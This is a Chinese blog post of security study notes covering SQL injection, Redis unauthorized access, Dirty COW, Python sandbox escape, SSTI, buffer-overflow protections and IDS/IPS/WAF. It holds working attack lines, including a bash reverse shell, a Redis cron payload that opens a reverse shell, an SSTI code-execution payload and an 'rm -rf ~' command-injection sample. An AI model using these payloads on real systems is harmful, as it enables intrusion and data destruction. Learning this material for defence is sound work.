• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

信安小知识-8

2020-09-07

1. 如何防止多线程死锁

  • 允许资源共享

2. 过滤单引号sql注入

攻击方账号输入 1\ 密码输入or 1=1 –+ ,最后拼接出来的语句是select from xxx where id=’1' and pw=’or 1=1–+’ 其中\将’转义,id的值就变为(1’ and pw=),后边跟一个or 1=1返回的逻辑为true就可以进行SQL注入了,所以最好还是采用预编译的方式进行SQL注入

作者:dale
链接:https://www.zhihu.com/question/24967863/answer/947264282
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

3. sql注入注释

–+ 或者#(%23)/**/

url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#


+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释。

了解原理后便知道了--无法使用的原因,是因为--与后面的这个单引号连接在一起,无法形成有效的mysql语句

  • 注释问题探索_老夏家的云

4. bash反弹shell

  • bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

5. Redis未授权访问漏洞

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

  • 当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
1
2
3
4
nc -lvnp 4444

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

6. wtmp、utmp和btmp是什么英文单词的缩写

tmp应该是temp/temporary 临时文件 会被后来的记录更新的文件

  • u应该是user 用户: utmp会呈现使用该系统的用户
  • w应该是who
  • b应该是bad:记录不成功的登陆

7. 脏牛漏洞(CVE-2016-5195)

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write) 时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取 root 权限

VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

  • dirtycow.github.io

8. cookie欺骗 vs cookie注入

Cookie 欺骗是攻击者登录的是受害者的身份。而Cookie 注入是认证为攻击者的攻击方式,受害者登录的是攻击者的身份

9. 判断是否为django

有的网站可能修改了Django的后台地址,但Django后台所使用的静态文件地址通常没有修改,也较难修改。访问这些静态文件地址,看看内容是否是Django的这一套,就可以确定目标是否为Django:

10. python沙箱逃逸

1
2
3
4
5
6
7
8
9
10
import os
import subprocess
import commands

# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

10.1. 初步过滤

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

10.1.1. pipes.quote()

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> filename = 'somefile; rm -rf ~'
>>> command = 'ls -l {}'.format(filename)
>>> print command # executed by a shell: boom!
ls -l somefile; rm -rf ~


# pipes.quote()
>>> command = 'ls -l {}'.format(quote(filename))
>>> print command
ls -l 'somefile; rm -rf ~'
>>> remote_command = 'ssh home {}'.format(quote(command))
>>> print remote_command
ssh home 'ls -l '"'"'somefile; rm -rf ~'"'"''

11. Python Web代码审计

  • 记一下PythonWeb代码审计应该注意的地方 - Nearg1e

总结

  • 不要拼接
  • 参数传递
  • 参数过滤
    • 绝对路径
1
2
if os.path.abspath(usr_input).startwith(cwd) is True:
oepn(usr_input)

12. ssti

1
2
3
4
5
6
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
  • 本质:用户输入拼接到模板中

12.1. 防止溢出攻击

  • 检查缓冲区长度(安全函数)
  • GS编译选项
  • 堆栈保护
    • checksec工具
      • checksec --file xx
    • CANARY(金丝雀)
      • 当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary
      • gcc -fstack-protector
    • FORTIFY
      • gcc -U_FORTIFY_SOURCE
    • NX(DEP)
      • No-eXecute(不可执行) -linux
      • Data Execution Prevention(数据执行保护) - windows
      • NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令
    • PIE(ASLR)
      • 一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作
      • 位置独立的可执行区域(position-independent executables) -linux
      • 地址空间配置随机加载(ddress space layout randomization) -windows

12.2. 安全函数

12.2.1. php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 对数据中的单引号、双引号进行转义
mysql_real_escape_string()
addslashes()
htmlspecialchars(string,ENT_QUOTES) # ":转换为&quot; <:转换为&lt;

# 过滤
filter_var() # 通过一个指定的过滤器来过滤单一的变量

$value = mysql_real_escape_string($value)

if(!filter_var($int, FILTER_VALIDATE_INT))
{
echo("Integer is not valid");
}

12.2.2. JS

1
escape() # 用于转义不能用明文正确发送的任何字符。比如,电话号码中的空格将被转换成字符 %20,从而能够在 URL 中传递这些字符

escape不编码字符有69个:*,+,-,.,/,@,_,0-9,a-z,A-Z

encodeURI不编码字符有82个:!,#,$,&,',(,),*,+,,,-,.,/,:,;,=,?,@,_,~,0-9,a-z,A-Z

encodeURIComponent不编码字符有71个:!, ',(,),*,-,.,_,~,0-9,a-z,A-Z

12.2.3. python

1
2
pipes.quote() # 函数去过滤用户输入,可以过滤命令拼接
os.path.realpath # 限定当前目录下的任意子目录

13. 前端加密

js的不可读化处理分为三个方面:

  • 压缩(compression)
    • 在压缩层面上,代码不可读只是一种附带伤害,不是最终目的
  • 混淆(obfuscation)
    • 代码尽可能地不可读,主要用作代码保护
    • 分离常量、打乱控制流、增加无义代码
  • 加密(encryption)。
    • Dean Packer
    • 从实现效果上和混淆差不多
    • JavaScript实现对称加密或者不对称加密等等
1
2
3
4
5
6
7
如何进行js混淆
js混淆器大致有两种:

- 通过正则替换实现的混淆器
- 通过语法树替换实现的混淆器

第一种实现成本低,但是效果也一般,适合对混淆要求不高的场景。第二种实现成本较高,但是更灵活,而且更安全,更适合对抗场景

14. 彩虹表

对于不可逆的加密如md5那么最简单的破解就是构造一个巨大的彩虹表rainbow table

简单说就是穷举可能的密码组合,比如遍历所有9位数字,从10000,0000到99999,9999将每个数字的md5 hash散列存入数据库。

然后当用户查询某个加密后的字符串md5 hash时,就去这个数据库里查询挨个比对,如果能查到,就可以反推出原字符串是多少。如果查不出来,也只能说明这个rainbow table不够大,没有包含用户的密码,本质上这就是一种暴力攻击brute force attack

一般来说,最简单的提升加密强度的方法就是“加盐”,所谓的salt,这样的话,能极大提升攻击成本,因为对于每位用户的密码,都加不同的salt,这样你每破解一个用户的密码,都需要重建一次彩虹表

15. IDS vs IPS vs WAF

  • 通常的防火墙主要工作第二到第四层,重心是在网络层,用于过滤IP和协议类型
  • 与传统防火墙不同,WAF工作在应用层
  • 入侵检测检测可分为实时入侵检测和事后入侵检测
    • 旁路部署的IDS可以及时发现那些穿透防火墙的深层攻击行为,作为防火墙的有益补充,但很可惜的是无法实时的阻断
  • IPS是对防病毒软件和防火墙的补充,监视网络或网络设备的网络资料传输行为
  • IDS: 旁路部署

    IDS入侵检测系统是一个旁路监听设备,没有也不需要跨接在任何链路上,无须网络流量流经它便可以工作。因此,对IDS的部署的唯一要求是:IDS应当挂接在所有所关注的流量都必须流经的链路上。在这里,“所关注流量”指的是来自高危网络区域的访问流量和需要进行统计、监视的网络报文

  • IPS: 串行部署

    对于部署在数据转发路径上的IPS,可以根据预先设定的安全策略,对流经的每个报文进行深度检测(协议分析跟踪、特征匹配、流量统计分析、事件关联分析等),如果一旦发现隐藏于其中网络攻击,可以根据该攻击的威胁级别立即采取抵御措施

    • 相比waf只是web,IPS是七层协议都看

15.1. HIDS vs NIDS

  • 主机型入侵检测系统(HIDS)
  • 网络型入侵检测系统(NIDS)

HIDS往往以系统日志、应用程序日志作为数据源;检测主机上的命令序列比检测网络流更简单,系统的复杂性也少得多,所以主机检测系统误报率比网络入侵检测系统的误报率要低;

他除了检测自身的主机以外,根本不检测网络上的情况,而且对入侵行为分析的工作量将随着主机数量的增加而增加,因此全面部署主机入侵检测系统代价比较大,企业很难将所有主机用主机入侵检测系统保护,只能选择部分主机进行保护,那些未安装主机入侵检测系统的机器将成为保护的忙点,入侵者可利用这些机器达到攻击的目标

  • 网络带宽高太高无法进行网络监控
  • 网络带宽太低不能承受网络IDS的开销

NIDS一般部署在比较重要的网段内,它不需要改变服务器等主机的配置

通过线路窃听的手段对捕获的网络分组进行处理,从中获取有用的信息。一个网段上只需要安装一个或几个这样的系统,便可以检测整个网络的情况,比较容易实现

16. 参考

  • 10.Redis未授权访问漏洞复现与利用 - bmjoker - 博客园
  • Python沙箱逃逸的n种姿势 - 先知社区
  • SSTI (服务器模板注入)_Hydra的博客-CSDN博客
  • 缓冲区溢出的保护机制_nibiru_holmes的博客-CSDN博客
  • js中的escape的用法汇总 - 记性特差 - 博客园
  • 求助前端JS都是用什么加密的? - 鲁小夫的回答 - 知乎
  • 什么是彩虹表? - 宛陵公子的回答 - 知乎
  • 防火墙、WAF、IPS、IDS都是什么 - 暮晨 - 博客园
  • 什么是IDS、IPS及它们之间的区别 - 灵龙隐的文章 - 知乎
  • 入侵检测技术具体是什么,各大主流杀软的入侵检测技术各有什么特点? - 天融信教育的回答 - 知乎
  • sec
  • Security
  • Web Security
  • Note
linux小知识-2
网络小知识-2
  1. 1. 1. 如何防止多线程死锁
  2. 2. 2. 过滤单引号sql注入
  3. 3. 3. sql注入注释
  4. 4. 4. bash反弹shell
  5. 5. 5. Redis未授权访问漏洞
  6. 6. 6. wtmp、utmp和btmp是什么英文单词的缩写
  7. 7. 7. 脏牛漏洞(CVE-2016-5195)
  8. 8. 8. cookie欺骗 vs cookie注入
  9. 9. 9. 判断是否为django
  10. 10. 10. python沙箱逃逸
    1. 10.1. 10.1. 初步过滤
      1. 10.1.1. 10.1.1. pipes.quote()
  11. 11. 11. Python Web代码审计
  12. 12. 12. ssti
    1. 12.1. 12.1. 防止溢出攻击
    2. 12.2. 12.2. 安全函数
      1. 12.2.1. 12.2.1. php
      2. 12.2.2. 12.2.2. JS
      3. 12.2.3. 12.2.3. python
  13. 13. 13. 前端加密
  14. 14. 14. 彩虹表
  15. 15. 15. IDS vs IPS vs WAF
    1. 15.1. 15.1. HIDS vs NIDS
  16. 16. 16. 参考
© 2024 何决云 载入天数...